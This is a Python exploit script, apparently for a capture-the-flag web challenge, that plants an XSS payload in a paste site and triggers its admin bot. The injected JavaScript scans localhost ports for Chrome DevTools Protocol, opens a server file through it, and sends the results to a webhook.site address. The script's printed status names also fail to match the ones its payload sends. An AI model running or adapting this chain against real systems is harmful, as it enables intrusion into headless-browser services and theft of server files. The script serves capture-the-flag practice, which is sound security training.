#!/usr/bin/env python3
"""
CDP Port Scanner - Based on backdoor writeup technique
Scans ephemeral ports (32768-60999) to find Chrome DevTools Protocol
"""
import requests
import time
import urllib.parse
from urllib.parse import urljoin

CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/9112d3b8-af6d-4c2c-8dea-31441a9af685"

# Based on the writeup - scan for CDP and use /json/new to open file://
jsCode = f"""(async()=>{{
let w='{WEBHOOK}';
for(let p=32768;p<=60999;p++){{
try{{
let r=await fetch('http://localhost:'+p+'/json/version');
if(r.ok){{
let d=await r.text();
await fetch(w+'?step=found&port='+p,{{method:'POST',body:d}});
let o=await fetch('http://localhost:'+p+'/json/new?file:///app/bot.py',{{method:'PUT'}});
let od=await o.text();
await fetch(w+'?step=opened&port='+p,{{method:'POST',body:od}});
break;
}}
}}catch(e){{}}
}}
}})();"""

payload = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(jsCode.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

print("="*80)
print("🔍 CDP PORT SCANNER (Based on backdoor writeup)")
print("="*80)
print("This will:")
print("  1. Scan ports 32768-60999 for CDP")
print("  2. Use /json/new?file:///app/bot.py to open the file")
print("  3. Report the CDP response")
print("="*80)

response = requests.post(
    urljoin(CHALLENGE_URL, "/note/new"),
    data={"title": "CDP Scanner", "body": payload},
    allow_redirects=False
)

if response.status_code == 302:
    note_path = response.headers.get('Location')
    print(f"[+] Paste created: {urljoin(CHALLENGE_URL, note_path)}")

    time.sleep(1)

    report_response = requests.post(
        urljoin(CHALLENGE_URL, "/report"),
        data={"url": note_path}
    )

    if report_response.status_code == 202:
        print(f"[+] Queued!")
        print(f"\n{'='*80}")
        print(f"📊 Check webhook: {WEBHOOK}")
        print(f"{'='*80}")
        print("\nLook for:")
        print("  - step=found_cdp → CDP port discovered!")
        print("  - step=opened_file → Flag file opened via CDP!")
        print("  - step=no_cdp_found → CDP not accessible")
        print("="*80)
        print("\n⏰ Note: Scanning 28000+ ports may take 2-3 minutes")
        print("="*80)
    else:
        print(f"[-] Failed: {report_response.status_code}")
else:
    print(f"[-] Failed to create paste: {response.status_code}")
